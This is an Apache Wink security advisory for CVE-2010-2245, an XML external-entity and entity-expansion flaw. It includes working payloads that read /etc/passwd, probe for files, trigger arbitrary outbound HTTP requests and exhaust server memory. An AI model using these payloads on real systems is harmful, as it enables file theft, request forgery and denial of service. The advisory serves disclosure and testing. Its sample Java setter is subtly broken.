Apache Wink Security Advisory (CVE-2010-2245)
Apache Wink allows DTD based XML attacks
Author: Mike Rheinheimer (adapted from Axis2, originally by Andreas Veithen)
July 6, 2010

1.Description

Apache Wink is vulnerable to DTD based XML attacks. There are two types of such attacks:

- Document type declarations may reference other documents, namely a DTD or external entities declared in the internal subset. If the XML parser is configured with a default entity resolver (which is the case for Wink), this allows an attacker to instruct the parser to access arbitrary files. Since URLs may be used as system IDs, this includes remote resources accessible only in the network where the server is deployed. An attacker may exploit this in several ways:
    - By inspecting the error message in the service response, he may be able to scan for the presence of certain files on the local file system of the server or for the availability of certain network resources accessible to the server.
    - By including an internal subset in the document type declaration of the request and using external entity declarations, he may be able to include the content of arbitrary files (local to the server) in the request. There may be REST services that produce responses that include information from the request message. By carefully crafting the request, the attacker may thus be able to retrieve the content of arbitrary files from the server.
    - Using URLs with the "http" scheme, the attacker may use the vulnerability to let the server execute arbitrary HTTP GET requests and attack other systems that have some form of trust relationship with the Wink server.
- While XML does not allow recursive entity definitions, it does permit nested entity definitions. If a document has very deeply nested entity definitions, parsing that document can result in very high CPU and memory consumption during entity expansion. This produces the potential for Denial of Service attacks.

2.Systems affected

2.1. Wink deployments

As shown in section , all Wink installations with versions prior to 1.1.1 are to some extend vulnerable. The most vulnerable installations are those on which at least one service is deployed that accepts messages with content type "application/xml" or "text/xml" whose payload is to be marshaled into a JAXB object or DOMSource.

Wink deployments that use a StAX implementation other than Woodstox may have additional vulnerabilities1.

Note that all types of Wink deployments are affected by these vulnerabilities. This includes standalone deployments, Web applications embedding Wink, and other products embedding Wink.

The exploits described in section Exploit may be used to check whether a given product is vulnerable.

3.Impact assessment

The vulnerability described in this advisory may allow an attacker to read arbitrary files on the file system of the node where Wink runs, provided that the account running the Wink instance has access to these files and that Java 2 security is not used to prevent file system access. An attacker may also be able to retrieve unsecured resources from the network if they are reachable from the Wink instance with URLs that are recognized by the Java runtime. However, to do so, the attacker needs to create a specially crafted request that requires knowledge about the resources deployed on the Wink instance. Therefore, this vulnerability cannot be exploited in an automated way.

The vulnerability may also allow the attacker to check the file system of the server (resp. network resources reachable by the server) for the existence of certain files (resp. resources), as well as to carry out Denial of Service attacks. These attacks don't require knowledge about the resources deployed on Wink and may thus be exploited using scripting.

It is important that all users of Wink (and derived products) who have deployments that accept XML messages from untrusted sources take appropriate actions to mitigate the risk caused by the vulnerability described in this advisory.

4.Solution

In order to avoid the vulnerability described in this advisory, apply the following solution.

4.1. Upgrade to Wink 1.1.1

The security issue described in this advisory is fixed in Wink 1.1.1. This release forbids the automatic expansion of document type declarations. Therefore upgrading to Wink 1.1.1 is the best solution.

Woodstox parses the document type declaration lazily, i.e. only when the DTD event is consumed.

5.Exploits

5.1. Remote file access

The vulnerability can be demonstrated using a stock Wink distribution older than 1.1.1 with a simple resource that echos a POST request with XML payload that is marshaled into a JAXB object or DOMSource. A JAXB object and resource that might do this:

```
@XmlAccessorType(XmlAccessType.FIELD)
@XmlRootElement(name = "myjaxbobject")
public class MyJAXBObject {
        private String data;
        public String getData() {
        return data;
        }
        public String setData(String _data) {
        data = _data;
        }
}

@Path("dtdtest")
public class MyResource {
        @POST
        public String getData(MyJAXBObject obj) {
        return obj.getData();
        }
}
```

You could send the following POST request with application/xml content type to URL http://<server>:<port>/<context-root>/dtdtest to demonstrate the arbitrary file read exploit:

```
<?xml version="1.0" encoding="UTF-8" standalone="yes"?>
<!DOCTYPE data [<!ENTITY file SYSTEM "file:///etc/passwd">]>
<myjaxbobject>&file;</myjaxbobject>
```

The response will include the full contents of the /etc/passwd file. While this leverages a particular feature of the MyResource resource, it is expected that a similar attack can be performed with many real world resources.

5.2. Server file system scan and arbitrary HTTP GET request execution

The vulnerability can also be exploited to check the existence of a particular file on the server file system. Consider the following request (again with content type "application/xml"):

```
<!DOCTYPE root SYSTEM "/etc/passwd">
<root/>
```

When sent to a valid resource that accepts a JAXB object as a parameter, this will trigger the XML parser, which will return something similar to the following response, assuming that Wink is installed on a Unix system:

```
[com.ctc.wstx.exc.WstxLazyException] Unexpected character '#' (code 35) in
external DTD subset; expected a '&lt;' to start a directive
 at [row,col,system-id]: [1,1,"file:/etc/passwd"]
 from [row,col {unknown-source}]: [1,1]
```

On a non Unix system or if the DOCTYPE declaration refers to a non existing file, the response will be different:

```
[com.ctc.wstx.exc.WstxLazyException] (was java.io.FileNotFoundException)
/non_existing_file (No such file or directory)
 at [row,col {unknown-source}]: [1,43]
```

By inspecting the response, an attacker can easily determine whether or not a given file exists on the file system of the server.

The same technique can also be used to trick Wink into executing arbitrary HTTP GET requests (including query parameters):

```
<!DOCTYPE root SYSTEM "http://www.google.com/search?q=test">
<root/>
```

5.3. Denial of Service

A Denial of Service attack using deeply nested entity definitions can easily be demonstrated using the following request:

```
<!DOCTYPE root [
   <!ENTITY x32 "foobar">
   <!ENTITY x31 "&x32;&x32;">
   <!ENTITY x30 "&x31;&x31;">
   <!ENTITY x29 "&x30;&x30;">
   <!ENTITY x28 "&x29;&x29;">
   <!ENTITY x27 "&x28;&x28;">
   <!ENTITY x26 "&x27;&x27;">
   <!ENTITY x25 "&x26;&x26;">
   <!ENTITY x24 "&x25;&x25;">
```

```
   <!ENTITY x23 "&x24;&x24;">
   <!ENTITY x22 "&x23;&x23;">
   <!ENTITY x21 "&x22;&x22;">
   <!ENTITY x20 "&x21;&x21;">
   <!ENTITY x19 "&x20;&x20;">
   <!ENTITY x18 "&x19;&x19;">
   <!ENTITY x17 "&x18;&x18;">
   <!ENTITY x16 "&x17;&x17;">
   <!ENTITY x15 "&x16;&x16;">
   <!ENTITY x14 "&x15;&x15;">
   <!ENTITY x13 "&x14;&x14;">
   <!ENTITY x12 "&x13;&x13;">
   <!ENTITY x11 "&x12;&x12;">
   <!ENTITY x10 "&x11;&x11;">
   <!ENTITY  x9 "&x10;&x10;">
   <!ENTITY  x8 "&x9;&x9;">
   <!ENTITY  x7 "&x8;&x8;">
   <!ENTITY  x6 "&x7;&x7;">
   <!ENTITY  x5 "&x6;&x6;">
   <!ENTITY  x4 "&x5;&x5;">
   <!ENTITY  x3 "&x4;&x4;">
   <!ENTITY  x2 "&x3;&x3;">
   <!ENTITY  x1 "&x2;&x2;">
]>
<root attr="&x1;"/>
```

When sent with content type application/xml to any valid resource that accepts a JAXB object as a parameter, this request will cause an out of memory condition on the server. Before checking if the request is acceptable, Wink needs to parse the start tag of the document element. The expansion of the entity used in the attribute on this element will then cause an out of memory error.

6.References

The issue that causes the vulnerability exposed in the present advisory was initially described in JIRA report AXIS2-44502. The fix for Wink was posted in JIRA report WINK-2913 and WINK-2984.

7.Contact

Please send all security relevant comments (e.g. about additional vulnerabilities not identified by this advisory) to security@apache.org. Questions and comments that are not security relevant may be sent to the public wink-dev@incubator.apache.org mailing list.